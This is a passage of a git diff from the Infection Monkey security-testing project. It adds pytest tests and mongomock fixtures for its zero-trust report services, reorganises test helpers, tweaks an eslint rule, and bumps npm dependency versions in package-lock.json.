get_monkey_finding_dto().save() + + # This method fails due to mongomock not being able to simulate $unset, so don't test details + MonkeyZTDetailsService.fetch_details_for_display = MagicMock(return_value=None) + + findings = FindingService.get_all_findings_for_ui() + + description = TESTS_MAP[TEST_SCOUTSUITE_SERVICE_SECURITY]['finding_explanation'][STATUS_FAILED] + expected_finding0 = EnrichedFinding(finding_id=findings[0].finding_id, + pillars=[DEVICES, NETWORKS], + status=STATUS_FAILED, + test=description, + test_key=TEST_SCOUTSUITE_SERVICE_SECURITY, + details=None) + + description = TESTS_MAP[TEST_ENDPOINT_SECURITY_EXISTS]['finding_explanation'][STATUS_PASSED] + expected_finding1 = EnrichedFinding(finding_id=findings[1].finding_id, + pillars=[DEVICES], + status=STATUS_PASSED, + test=description, + test_key=TEST_ENDPOINT_SECURITY_EXISTS, + details=None) + + # Don't test details + details = [] + for finding in findings: + details.append(finding.details) + finding.details = None + + assert findings[0] == expected_finding0 + assert findings[1] == expected_finding1 diff --git a/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/test_pillar_service.py b/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/test_pillar_service.py new file mode 100644 index 000000000..bf2bbe1a5 --- /dev/null +++ b/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/test_pillar_service.py @@ -0,0 +1,113 @@ +from typing import List + +import pytest + +from common.common_consts import zero_trust_consts +from common.common_consts.zero_trust_consts import DATA, PEOPLE, NETWORKS, WORKLOADS, VISIBILITY_ANALYTICS, \ + AUTOMATION_ORCHESTRATION, DEVICES +from monkey_island.cc.services.zero_trust.zero_trust_report.pillar_service import PillarService +from monkey_island.cc.services.zero_trust.zero_trust_report.test_common.example_finding_data import \ + save_example_findings +from monkey_island.cc.test_common.fixtures import FixtureEnum + + +@pytest.mark.usefixtures(FixtureEnum.USES_DATABASE) +def test_get_pillars_grades(): + save_example_findings() + expected_grades = _get_expected_pillar_grades() + computed_grades = PillarService._get_pillars_grades() + assert expected_grades == computed_grades + + +def _get_expected_pillar_grades() -> List[dict]: + return [ + { + zero_trust_consts.STATUS_FAILED: 5, + zero_trust_consts.STATUS_VERIFY: 2, + zero_trust_consts.STATUS_PASSED: 1, + # 2 different tests of DATA pillar were executed in _save_findings() + zero_trust_consts.STATUS_UNEXECUTED: _get_cnt_of_tests_in_pillar(DATA) - 2, + "pillar": "Data" + }, + { + zero_trust_consts.STATUS_FAILED: 0, + zero_trust_consts.STATUS_VERIFY: 2, + zero_trust_consts.STATUS_PASSED: 0, + # 1 test of PEOPLE pillar were executed in _save_findings() + zero_trust_consts.STATUS_UNEXECUTED: _get_cnt_of_tests_in_pillar(PEOPLE) - 1, + "pillar": "People" + }, + { + zero_trust_consts.STATUS_FAILED: 0, + zero_trust_consts.STATUS_VERIFY: 2, + zero_trust_consts.STATUS_PASSED: 0, + # 1 different tests of NETWORKS pillar were executed in _save_findings() + zero_trust_consts.STATUS_UNEXECUTED: _get_cnt_of_tests_in_pillar(NETWORKS) - 1, + "pillar": "Networks" + }, + { + zero_trust_consts.STATUS_FAILED: 1, + zero_trust_consts.STATUS_VERIFY: 0, + zero_trust_consts.STATUS_PASSED: 2, + # 1 different tests of DEVICES pillar were executed in _save_findings() + zero_trust_consts.STATUS_UNEXECUTED: _get_cnt_of_tests_in_pillar(DEVICES) - 1, + "pillar": "Devices" + }, + { + zero_trust_consts.STATUS_FAILED: 0, + zero_trust_consts.STATUS_VERIFY: 0, + zero_trust_consts.STATUS_PASSED: 0, + # 0 different tests of WORKLOADS pillar were executed in _save_findings() + zero_trust_consts.STATUS_UNEXECUTED: _get_cnt_of_tests_in_pillar(WORKLOADS), + "pillar": "Workloads" + }, + { + zero_trust_consts.STATUS_FAILED: 0, + zero_trust_consts.STATUS_VERIFY: 0, + zero_trust_consts.STATUS_PASSED: 0, + # 0 different tests of VISIBILITY_ANALYTICS pillar were executed in _save_findings() + zero_trust_consts.STATUS_UNEXECUTED: _get_cnt_of_tests_in_pillar(VISIBILITY_ANALYTICS), + "pillar": "Visibility & Analytics" + }, + { + zero_trust_consts.STATUS_FAILED: 0, + zero_trust_consts.STATUS_VERIFY: 0, + zero_trust_consts.STATUS_PASSED: 0, + # 0 different tests of AUTOMATION_ORCHESTRATION pillar were executed in _save_findings() + zero_trust_consts.STATUS_UNEXECUTED: _get_cnt_of_tests_in_pillar(AUTOMATION_ORCHESTRATION), + "pillar": "Automation & Orchestration" + } + ] + + +def _get_cnt_of_tests_in_pillar(pillar: str): + tests_in_pillar = [value for (key, value) in zero_trust_consts.TESTS_MAP.items() if pillar in value['pillars']] + return len(tests_in_pillar) + + +@pytest.mark.usefixtures(FixtureEnum.USES_DATABASE) +def test_get_pillars_to_statuses(): + # Test empty database + expected = { + zero_trust_consts.AUTOMATION_ORCHESTRATION: zero_trust_consts.STATUS_UNEXECUTED, + zero_trust_consts.DEVICES: zero_trust_consts.STATUS_UNEXECUTED, + zero_trust_consts.NETWORKS: zero_trust_consts.STATUS_UNEXECUTED, + zero_trust_consts.PEOPLE: zero_trust_consts.STATUS_UNEXECUTED, + zero_trust_consts.VISIBILITY_ANALYTICS: zero_trust_consts.STATUS_UNEXECUTED, + zero_trust_consts.WORKLOADS: zero_trust_consts.STATUS_UNEXECUTED, + zero_trust_consts.DATA: zero_trust_consts.STATUS_UNEXECUTED + } + assert PillarService._get_pillars_to_statuses() == expected + + # Test with example finding set + save_example_findings() + expected = { + zero_trust_consts.AUTOMATION_ORCHESTRATION: zero_trust_consts.STATUS_UNEXECUTED, + zero_trust_consts.DEVICES: zero_trust_consts.STATUS_FAILED, + zero_trust_consts.NETWORKS: zero_trust_consts.STATUS_VERIFY, + zero_trust_consts.PEOPLE: zero_trust_consts.STATUS_VERIFY, + zero_trust_consts.VISIBILITY_ANALYTICS: zero_trust_consts.STATUS_UNEXECUTED, + zero_trust_consts.WORKLOADS: zero_trust_consts.STATUS_UNEXECUTED, + zero_trust_consts.DATA: zero_trust_consts.STATUS_FAILED + } + assert PillarService._get_pillars_to_statuses() == expected diff --git a/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/test_principle_service.py b/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/test_principle_service.py new file mode 100644 index 000000000..fd2502f59 --- /dev/null +++ b/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/test_principle_service.py @@ -0,0 +1,94 @@ +import pytest + +from common.common_consts import zero_trust_consts +from monkey_island.cc.services.zero_trust.test_common.finding_data import get_monkey_finding_dto, \ + get_scoutsuite_finding_dto +from monkey_island.cc.services.zero_trust.zero_trust_report.principle_service import PrincipleService +from monkey_island.cc.test_common.fixtures import FixtureEnum + + +EXPECTED_DICT = { + 'test_pillar1': [ + { + "principle": 'Test principle description2', + "status": zero_trust_consts.STATUS_FAILED, + "tests": [ + { + "status": zero_trust_consts.STATUS_PASSED, + "test": "You ran a test2" + }, + { + "status": zero_trust_consts.STATUS_FAILED, + "test": "You ran a test3" + } + ] + } + ], + 'test_pillar2': [ + { + "principle": "Test principle description", + "status": zero_trust_consts.STATUS_PASSED, + "tests": [ + { + "status": zero_trust_consts.STATUS_PASSED, + "test": "You ran a test1" + } + ] + }, + { + "principle": "Test principle description2", + "status": zero_trust_consts.STATUS_FAILED, + "tests": [ + { + "status": zero_trust_consts.STATUS_PASSED, + "test": "You ran a test2" + }, + { + "status": zero_trust_consts.STATUS_FAILED, + "test": "You ran a test3" + }, + ] + } + ] +} + + +@pytest.mark.usefixtures(FixtureEnum.USES_DATABASE) +def test_get_principles_status(): + TEST_PILLAR1 = 'test_pillar1' + TEST_PILLAR2 = 'test_pillar2' + zero_trust_consts.PILLARS = (TEST_PILLAR1, TEST_PILLAR2) + + principles_to_tests = {'network_policies': ['segmentation'], + 'endpoint_security': ['tunneling', 'scoutsuite_service_security']} + zero_trust_consts.PRINCIPLES_TO_TESTS = principles_to_tests + + principles_to_pillars = {'network_policies': {'test_pillar2'}, + 'endpoint_security': {'test_pillar1', 'test_pillar2'}} + zero_trust_consts.PRINCIPLES_TO_PILLARS = principles_to_pillars + + principles = {'network_policies': 'Test principle description', 'endpoint_security': 'Test principle description2'} + zero_trust_consts.PRINCIPLES = principles + + tests_map = {'segmentation': {'explanation': 'You ran a test1'}, + 'tunneling': {'explanation': 'You ran a test2'}, + 'scoutsuite_service_security': {'explanation': 'You ran a test3'}} + zero_trust_consts.TESTS_MAP = tests_map + + monkey_finding = get_monkey_finding_dto() + monkey_finding.test = 'segmentation' + monkey_finding.save() + + monkey_finding = get_monkey_finding_dto() + monkey_finding.test = 'tunneling' + monkey_finding.save() + + scoutsuite_finding = get_scoutsuite_finding_dto() + scoutsuite_finding.test = 'scoutsuite_service_security' + scoutsuite_finding.save() + + expected = dict(EXPECTED_DICT) # new mutable + + result = PrincipleService.get_principles_status() + + assert result == expected diff --git a/monkey/monkey_island/cc/setup.py b/monkey/monkey_island/cc/setup.py index 5518532fd..213a62e6b 100644 --- a/monkey/monkey_island/cc/setup.py +++ b/monkey/monkey_island/cc/setup.py @@ -4,8 +4,7 @@ from pymongo import errors from monkey_island.cc.database import mongo from monkey_island.cc.models.attack.attack_mitigations import AttackMitigations -from monkey_island.cc.services.attack.mitre_api_interface import \ - MitreApiInterface +from monkey_island.cc.services.attack.mitre_api_interface import MitreApiInterface logger = logging.getLogger(__name__) diff --git a/monkey/monkey_island/cc/test_common/__init__.py b/monkey/monkey_island/cc/test_common/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/monkey/monkey_island/cc/testing/environment/server_config_mocks.py b/monkey/monkey_island/cc/test_common/environment/server_config_mocks.py similarity index 100% rename from monkey/monkey_island/cc/testing/environment/server_config_mocks.py rename to monkey/monkey_island/cc/test_common/environment/server_config_mocks.py diff --git a/monkey/monkey_island/cc/test_common/fixtures/__init__.py b/monkey/monkey_island/cc/test_common/fixtures/__init__.py new file mode 100644 index 000000000..fd208655a --- /dev/null +++ b/monkey/monkey_island/cc/test_common/fixtures/__init__.py @@ -0,0 +1,4 @@ +# Without these imports pytests can't use fixtures, +# because they are not found +from .fixture_enum import FixtureEnum # noqa: F401 +from .mongomock_fixtures import * # noqa: F401,F403 diff --git a/monkey/monkey_island/cc/test_common/fixtures/fixture_enum.py b/monkey/monkey_island/cc/test_common/fixtures/fixture_enum.py new file mode 100644 index 000000000..17c115079 --- /dev/null +++ b/monkey/monkey_island/cc/test_common/fixtures/fixture_enum.py @@ -0,0 +1,2 @@ +class FixtureEnum: + USES_DATABASE = 'uses_database' diff --git a/monkey/monkey_island/cc/test_common/fixtures/mongomock_fixtures.py b/monkey/monkey_island/cc/test_common/fixtures/mongomock_fixtures.py new file mode 100644 index 000000000..8a49d0254 --- /dev/null +++ b/monkey/monkey_island/cc/test_common/fixtures/mongomock_fixtures.py @@ -0,0 +1,32 @@ +import mongoengine +import pytest + +from monkey_island.cc.models import Monkey +from monkey_island.cc.models.edge import Edge +from monkey_island.cc.models.zero_trust.finding import Finding + + +@pytest.fixture(scope='session', autouse=True) +def change_to_mongo_mock(): + # Make sure tests are working with mongomock + mongoengine.disconnect() + mongoengine.connect('mongoenginetest', host='mongomock://localhost') + + +@pytest.fixture(scope='function') +def uses_database(): + _clean_edge_db() + _clean_monkey_db() + _clean_finding_db() + + +def _clean_monkey_db(): + Monkey.objects().delete() + + +def _clean_edge_db(): + Edge.objects().delete() + + +def _clean_finding_db(): + Finding.objects().delete() diff --git a/monkey/monkey_island/cc/testing/README.md b/monkey/monkey_island/cc/test_common/profiling/README.md similarity index 79% rename from monkey/monkey_island/cc/testing/README.md rename to monkey/monkey_island/cc/test_common/profiling/README.md index 1c1446b2f..d0cb92bfa 100644 --- a/monkey/monkey_island/cc/testing/README.md +++ b/monkey/monkey_island/cc/test_common/profiling/README.md @@ -2,7 +2,7 @@ To profile specific methods on island a `@profile(sort_args=['cumulative'], print_args=[100])` decorator can be used. -Use it as any other decorator. After decorated method is used, a file will appear in a +Use it as a parameterised decorator(`@profile()`). After decorated method is used, a file will appear in a directory provided in `profiler_decorator.py`. Filename describes the path of the method that was profiled. For example if method `monkey_island/cc/resources/netmap.get` was profiled, then the results of this profiling will appear in diff --git a/monkey/monkey_island/cc/testing/profiler_decorator.py b/monkey/monkey_island/cc/test_common/profiling/profiler_decorator.py similarity index 100% rename from monkey/monkey_island/cc/testing/profiler_decorator.py rename to monkey/monkey_island/cc/test_common/profiling/profiler_decorator.py diff --git a/monkey/monkey_island/cc/testing/IslandTestCase.py b/monkey/monkey_island/cc/testing/IslandTestCase.py deleted file mode 100644 index b260f62c9..000000000 --- a/monkey/monkey_island/cc/testing/IslandTestCase.py +++ /dev/null @@ -1,23 +0,0 @@ -import unittest - -import monkey_island.cc.environment.environment_singleton as env_singleton -from monkey_island.cc.models import Monkey -from monkey_island.cc.models.edge import Edge -from monkey_island.cc.models.zero_trust.finding import Finding - - -class IslandTestCase(unittest.TestCase): - def fail_if_not_testing_env(self): - self.assertFalse(not env_singleton.env.testing, "Change server_config.json to testing environment.") - - @staticmethod - def clean_monkey_db(): - Monkey.objects().delete() - - @staticmethod - def clean_edge_db(): - Edge.objects().delete() - - @staticmethod - def clean_finding_db(): - Finding.objects().delete() diff --git a/monkey/monkey_island/cc/ui/.eslintrc b/monkey/monkey_island/cc/ui/.eslintrc index 2cd52bb98..afc7f2b7a 100644 --- a/monkey/monkey_island/cc/ui/.eslintrc +++ b/monkey/monkey_island/cc/ui/.eslintrc @@ -35,7 +35,8 @@ "comma-dangle": 1, "quotes": [ 1, - "single" + "single", + {"allowTemplateLiterals": true} ], "no-undef": 1, "global-strict": 0, diff --git a/monkey/monkey_island/cc/ui/package-lock.json b/monkey/monkey_island/cc/ui/package-lock.json index f4d6d0c0b..a805a7ba2 100644 --- a/monkey/monkey_island/cc/ui/package-lock.json +++ b/monkey/monkey_island/cc/ui/package-lock.json @@ -1,6 +1,6 @@ { "name": "infection-monkey", - "version": "1.8.2", + "version": "1.9.0", "lockfileVersion": 1, "requires": true, "dependencies": { @@ -1156,9 +1156,9 @@ } }, "@emotion/core": { - "version": "10.0.28", - "resolved": "https://registry.npmjs.org/@emotion/core/-/core-10.0.28.tgz", - "integrity": "sha512-pH8UueKYO5jgg0Iq+AmCLxBsvuGtvlmiDCOuv8fGNYn3cowFpLN98L8zO56U0H1PjDIyAlXymgL3Wu7u7v6hbA==", + "version": "10.0.34", + "resolved": "https://registry.npmjs.org/@emotion/core/-/core-10.0.34.tgz", + "integrity": "sha512-Kcs8WHZG1NgaVFQsSpgN07G0xpfPAKUclwKvUqKrYrJovezl9uTz++1M4JfXHrgFVEiJ5QO46hMo1ZDDfvY/tw==", "requires": { "@babel/runtime": "^7.5.5", "@emotion/cache": "^10.0.27", @@ -1310,14 +1310,14 @@ } }, "@sindresorhus/is": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/@sindresorhus/is/-/is-3.0.0.tgz", - "integrity": "sha512-kqA5I6Yun7PBHk8WN9BBP1c7FfN2SrD05GuVSEYPqDb4nerv7HqYfgBfMIKmT/EuejURkJKLZuLyGKGs6WEG9w==" + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/@sindresorhus/is/-/is-3.1.2.tgz", + "integrity": "sha512-JiX9vxoKMmu8Y3Zr2RVathBL1Cdu4Nt4MuNWemt1Nc06A0RAin9c5FArkhGsyMBWfCu4zj+9b+GxtjAnE4qqLQ==" }, "@snyk/cli-interface": { - "version": "2.8.0", - "resolved": "https://registry.npmjs.org/@snyk/cli-interface/-/cli-interface-2.8.0.tgz", - "integrity": "sha512-St/G39iJG1zQK15L24kcVYM2gmFc/ylBCcBqU2DMZKJKwOPccKLUO6s+dWIUXMccQ+DFS6TuHPvuAKQNi9C4Yg==", + "version": "2.8.1", + "resolved": "https://registry.npmjs.org/@snyk/cli-interface/-/cli-interface-2.8.1.tgz", + "integrity": "sha512-pALcfgoY0hAavy/pBlDIqEu+FFC5m+D4bMnCwlQ26mObL/zzxp2+Ohx+HykCIom62u2J94SzAtRLFdm/2TgoOw==", "requires": { "@snyk/dep-graph": "1.19.0", "@snyk/graphlib": "2.1.9-patch", @@ -1338,9 +1338,9 @@ }, "dependencies": { "tslib": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.0.0.tgz", - "integrity": "sha512-lTqkx847PI7xEDYJntxZH89L2/aXInsyF2luSafe/+0fHOMjlBNXdH6th7f70qxLDhul7KZK0zC8V5ZIyHl0/g==" + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.0.1.tgz", + "integrity": "sha512-SgIkNheinmEBgx1IUNirK0TUD4X9yjjBRTqqjggWCU3pUEqIk3/Uwl3yRixYKT6WjQuGiwDv4NomL3wqRCj+CQ==" } } }, @@ -1550,9 +1550,9 @@ } }, "@snyk/java-call-graph-builder": { - "version": "1.10.0", - "resolved": "https://registry.npmjs.org/@snyk/java-call-graph-builder/-/java-call-graph-builder-1.10.0.tgz", - "integrity": "sha512-x3vKElHJRsPjlMBRACeD6kHtki54ffahYeAm4ny5epVpxm16/OT6f6AjNjPuX8DbxcauaD7wqirtc62OPH3YqA==", + "version": "1.13.1", + "resolved": "https://registry.npmjs.org/@snyk/java-call-graph-builder/-/java-call-graph-builder-1.13.1.tgz", + "integrity": "sha512-oOCSIyOMplV73a1agcXKXlFYQftK5esUUaFRTf90GOxQwKy8R9tZtKdP+CdutlgvjRP286DQ+7GlvKYsGGZbWg==", "requires": { "@snyk/graphlib": "2.1.9-patch", "ci-info": "^2.0.0", @@ -1593,16 +1593,6 @@ "integrity": "sha512-bWjQY5Xk3TcfVpeo8M5BhhSUEdPr2P19AWW13CHPu6sFZkckLWEcjQycnBsVD6RBmxGXecJ1YNui8dq6soHoYQ==", "requires": { "event-loop-spinner": "^2.0.0" - }, - "dependencies": { - "event-loop-spinner": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/event-loop-spinner/-/event-loop-spinner-2.0.0.tgz", - "integrity": "sha512-1y4j/Mhttr8ordvHkbDsGzGrlQaSYJoXD/3YKUxiOXIk7myEn9UPfybEk/lLtrcU3D4QvCNmVUxVQaPtvAIaUw==", - "requires": { - "tslib": "^1.10.0" - } - } } }, "@snyk/ruby-semver": { @@ -1641,9 +1631,9 @@ } }, "tslib": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.0.0.tgz", - "integrity": "sha512-lTqkx847PI7xEDYJntxZH89L2/aXInsyF2luSafe/+0fHOMjlBNXdH6th7f70qxLDhul7KZK0zC8V5ZIyHl0/g==" + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.0.1.tgz", + "integrity": "sha512-SgIkNheinmEBgx1IUNirK0TUD4X9yjjBRTqqjggWCU3pUEqIk3/Uwl3yRixYKT6WjQuGiwDv4NomL3wqRCj+CQ==" } } }, @@ -1729,12 +1719,14 @@ "@types/events": { "version": "3.0.0", "resolved": "https://registry.npmjs.org/@types/events/-/events-3.0.0.tgz", - "integrity": "sha512-EaObqwIvayI5a8dCzhFrjKzVwKLxjoG9T6Ppd5CEo07LRKfQ8Yokw54r5+Wq7FaBQ+yXRvQAYPrHwya1/UFt9g==" + "integrity": "sha512-EaObqwIvayI5a8dCzhFrjKzVwKLxjoG9T6Ppd5CEo07LRKfQ8Yokw54r5+Wq7FaBQ+yXRvQAYPrHwya1/UFt9g==", + "dev": true }, "@types/glob": { "version": "7.1.1", "resolved": "https://registry.npmjs.org/@types/glob/-/glob-7.1.1.tgz", "integrity": "sha512-1Bh06cbWJUHMC97acuD6UMG29nMt0Aqz1vF3guLfG+kHHJhy3AyohZFFxYk2f7Q1SQIrNwvncxAE0N/9s70F2w==", + "dev": true, "requires": { "@types/events": "*", "@types/minimatch": "*", @@ -1782,7 +1774,8 @@ "@types/minimatch": { "version": "3.0.3", "resolved": "https://registry.npmjs.org/@types/minimatch/-/minimatch-3.0.3.tgz", - "integrity": "sha512-tHq6qdbT9U1IRSGf14CL0pUlULksvY9OZ+5eEgl1N7t+OA3tGvNpxJCzuKQlsNgCVwbAs670L1vcVQi8j9HjnA==" + "integrity": "sha512-tHq6qdbT9U1IRSGf14CL0pUlULksvY9OZ+5eEgl1N7t+OA3tGvNpxJCzuKQlsNgCVwbAs670L1vcVQi8j9HjnA==", + "dev": true }, "@types/minimist": { "version": "1.2.0", @@ -2056,26 +2049,27 @@ "dev": true }, "@yarnpkg/core": { - "version": "2.1.1", - "resolved": "https://registry.npmjs.org/@yarnpkg/core/-/core-2.1.1.tgz", - "integrity": "sha512-qeBxz8nHjKAbGTP2ZcXBnXGfM7+cN0A73mIai/24uru1ayvCIgfjWL1uIj/MM+m+K5lJX0Dcn94ZBHWits9JWQ==", + "version": "2.2.2", + "resolved": "https://registry.npmjs.org/@yarnpkg/core/-/core-2.2.2.tgz", + "integrity": "sha512-TQ0wqQjbZQDrf31N5v4NtE4Juw1c16hYu9QwNloUxRgY/Z+AQIuqa6Jgv9BbAghchZkSIXDWp6bFGD7C+q7cuA==", "requires": { "@arcanis/slice-ansi": "^1.0.2", - "@yarnpkg/fslib": "^2.1.0", + "@yarnpkg/fslib": "^2.2.1", "@yarnpkg/json-proxy": "^2.1.0", - "@yarnpkg/libzip": "^2.1.0", - "@yarnpkg/parsers": "^2.1.0", - "@yarnpkg/pnp": "^2.1.0", - "@yarnpkg/shell": "^2.1.0", + "@yarnpkg/libzip": "^2.2.0", + "@yarnpkg/parsers": "^2.2.0", + "@yarnpkg/pnp": "^2.2.1", + "@yarnpkg/shell": "^2.2.0", "camelcase": "^5.3.1", "chalk": "^3.0.0", "ci-info": "^2.0.0", - "clipanion": "^2.4.2", + "clipanion": "^2.4.4", "cross-spawn": "7.0.3", "diff": "^4.0.1", - "globby": "^10.0.1", + "globby": "^11.0.1", "got": "^11.1.3", "json-file-plus": "^3.3.1", + "lodash": "^4.17.15", "logic-solver": "^2.0.1", "micromatch": "^4.0.2", "mkdirp": "^0.5.1", @@ -2084,7 +2078,7 @@ "pretty-bytes": "^5.1.0", "semver": "^7.1.2", "stream-to-promise": "^2.2.0", - "tar": "^4.4.6", + "tar-stream": "^2.0.1", "tslib": "^1.13.0", "tunnel": "^0.0.6" }, @@ -2152,17 +2146,15 @@ } }, "globby": { - "version": "10.0.2", - "resolved": "https://registry.npmjs.org/globby/-/globby-10.0.2.tgz", - "integrity": "sha512-7dUi7RvCoT/xast/o/dLN53oqND4yk0nsHkhRgn9w65C4PofCLOoJ39iSOg+qVDdWQPIEj+eszMHQ+aLVwwQSg==", + "version": "11.0.1", + "resolved": "https://registry.npmjs.org/globby/-/globby-11.0.1.tgz", + "integrity": "sha512-iH9RmgwCmUJHi2z5o2l3eTtGBtXek1OYlHrbcxOYugyHLmAsZrPj43OtHThd62Buh/Vv6VyCBD2bdyWcGNQqoQ==", "requires": { - "@types/glob": "^7.1.1", "array-union": "^2.1.0", "dir-glob": "^3.0.1", - "fast-glob": "^3.0.3", - "glob": "^7.1.3", - "ignore": "^5.1.1", - "merge2": "^1.2.3", + "fast-glob": "^3.1.1", + "ignore": "^5.1.4", + "merge2": "^1.3.0", "slash": "^3.0.0" } }, @@ -2219,27 +2211,13 @@ "integrity": "sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q==" }, "supports-color": { - "version": "7.1.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.1.0.tgz", - "integrity": "sha512-oRSIpR8pxT1Wr2FquTNnGet79b3BWljqOuoW/h4oBhxJ/HUbX5nX6JSruTkvXDCFMwDPvsaTTbvMLKZWSy0R5g==", + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", "requires": { "has-flag": "^4.0.0" } }, - "tar": { - "version": "4.4.13", - "resolved": "https://registry.npmjs.org/tar/-/tar-4.4.13.tgz", - "integrity": "sha512-w2VwSrBoHa5BsSyH+KxEqeQBAllHhccyMFVHtGtdMpF4W7IRWfZjFiQceJPChOeTsSDVUpER2T8FA93pr0L+QA==", - "requires": { - "chownr": "^1.1.1", - "fs-minipass": "^1.2.5", - "minipass": "^2.8.6", - "minizlib": "^1.2.1", - "mkdirp": "^0.5.0", - "safe-buffer": "^5.1.2", - "yallist": "^3.0.3" - } - }, "to-regex-range": { "version": "5.0.1", "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz", @@ -2260,20 +2238,15 @@ "requires": { "isexe": "^2.0.0" } - }, - "yallist": { - "version": "3.1.1", - "resolved": "https://registry.npmjs.org/yallist/-/yallist-3.1.1.tgz", - "integrity": "sha512-a4UGQaWPH59mOXUYnAG2ewncQS4i4F43Tv3JoAM+s2VDAmS9NsK8GpDMLrCHPksFT7h3K6TOoUNn2pb7RoXx4g==" } } }, "@yarnpkg/fslib": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/@yarnpkg/fslib/-/fslib-2.1.0.tgz", - "integrity": "sha512-E+f8w5yQZnTf1soyTWy7qdf+GmHsY+A0yEN4Di44/Txk6XRIMruyc1ShDi93mOI6ilnXxD87rNms18zJ8WnspA==", + "version": "2.2.1", + "resolved": "https://registry.npmjs.org/@yarnpkg/fslib/-/fslib-2.2.1.tgz", + "integrity": "sha512-7SzLP/RHt8lEOaCTg6hMMrnxc2/Osbu3+UPwLZiZiGtLpYqwtTgtWTlAqddS3+MESXOZhc+3gKLX0lfqm6oWuw==", "requires": { - "@yarnpkg/libzip": "^2.1.0", + "@yarnpkg/libzip": "^2.2.0", "tslib": "^1.13.0" }, "dependencies": { @@ -2301,9 +2274,9 @@ } }, "@yarnpkg/libzip": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/@yarnpkg/libzip/-/libzip-2.1.0.tgz", - "integrity": "sha512-39c7KuSWcYUqVxlBLZwfqdD/D6lS+jplNVWd6uAnk8EpnacaYGJRegvkqWyfw5c8KHukNMeEGF5JHrXPZYBM0w==", + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/@yarnpkg/libzip/-/libzip-2.2.0.tgz", + "integrity": "sha512-/YRSPJbPAvHeCJxcXJrUV4eRP9hER6YB6LyZxsFlpyF++eqdOzNu0WsuXRRJxfqYt3hl7SiGFkL23qB9jqC6cw==", "requires": { "@types/emscripten": "^1.38.0", "tslib": "^1.13.0" @@ -2322,9 +2295,9 @@ "integrity": "sha512-GpSwvyXOcOOlV70vbnzjj4fW5xW/FdUF6nQEt1ENy7m4ZCczi1+/buVUPAqmGfqznsORNFzUMjctTIp8a9tuCQ==" }, "@yarnpkg/parsers": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/@yarnpkg/parsers/-/parsers-2.1.0.tgz", - "integrity": "sha512-75OYQ6PMs1C3zm+W+T1xhLyVDX78zXQGEVHpWd4o/QwpAbhneB3/5FXVGRzI3gjPPWWSb/pKOPB1S6p0xmQD2Q==", + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/@yarnpkg/parsers/-/parsers-2.2.0.tgz", + "integrity": "sha512-k1XZaWYRHl7wCj04hcbtzKfPAZbKbsEi7xsB1Ka8obdS6DRnAw7n0gZPvvGjOoqkH95IqWf+Vi7vV5RhlGz63Q==", "requires": { "js-yaml": "^3.10.0", "tslib": "^1.13.0" @@ -2338,12 +2311,12 @@ } }, "@yarnpkg/pnp": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/@yarnpkg/pnp/-/pnp-2.1.0.tgz", - "integrity": "sha512-b8NlB71EFifv1jDX47nFaRXrykROxHcS7YuGb2dQ+Gp9gqJ0thIaZ3yB9+qWF8acdWtNcMpjCug4xkfAAR5Odw==", + "version": "2.2.1", + "resolved": "https://registry.npmjs.org/@yarnpkg/pnp/-/pnp-2.2.1.tgz", + "integrity": "sha512-jrwJ3Q6M+nMs4n0O/GgxayU1Bq9mpLoZW2Mb8Nt2fs5whB0CeCr1/pGl9+yiCSjirv9jjp51TVFqF7OPvXy+gA==", "requires": { "@types/node": "^13.7.0", - "@yarnpkg/fslib": "^2.1.0", + "@yarnpkg/fslib": "^2.2.1", "tslib": "^1.13.0" }, "dependencies": { @@ -2355,13 +2328,13 @@ } }, "@yarnpkg/shell": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/@yarnpkg/shell/-/shell-2.1.0.tgz", - "integrity": "sha512-9i9ZWqeKHGV0DOfdxTVq5zl73Li8Fg947v57uLBEaytNF+HywkDfouNkg/6HfgBrpI0WH8OJ9Pz/uDaE5cpctw==", + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/@yarnpkg/shell/-/shell-2.2.0.tgz", + "integrity": "sha512-IuOZhYxTydNySqP2HlKkfm1QjgCAgVBUZz5O5rXXxpS4vTNSa0q6fwqvNUSrHSWGKH/jAmJS23YbJqislj5wjg==", "requires": { - "@yarnpkg/fslib": "^2.1.0", - "@yarnpkg/parsers": "^2.1.0", - "clipanion": "^2.4.2", + "@yarnpkg/fslib": "^2.2.0", + "@yarnpkg/parsers": "^2.2.0", + "clipanion": "^2.4.4", "cross-spawn": "7.0.3", "fast-glob": "^3.2.2", "stream-buffers": "^3.0.2", @@ -3044,9 +3017,9 @@ } }, "bl": { - "version": "4.0.2", - "resolved": "https://registry.npmjs.org/bl/-/bl-4.0.2.tgz", - "integrity": "sha512-j4OH8f6Qg2bGuWfRiltT2HYGx0e1QcBTrK9KAHNMwMZdQnDZFk0ZSYIpADjYCB3U12nicC5tVJwSIhwOWjb4RQ==", + "version": "4.0.3", + "resolved": 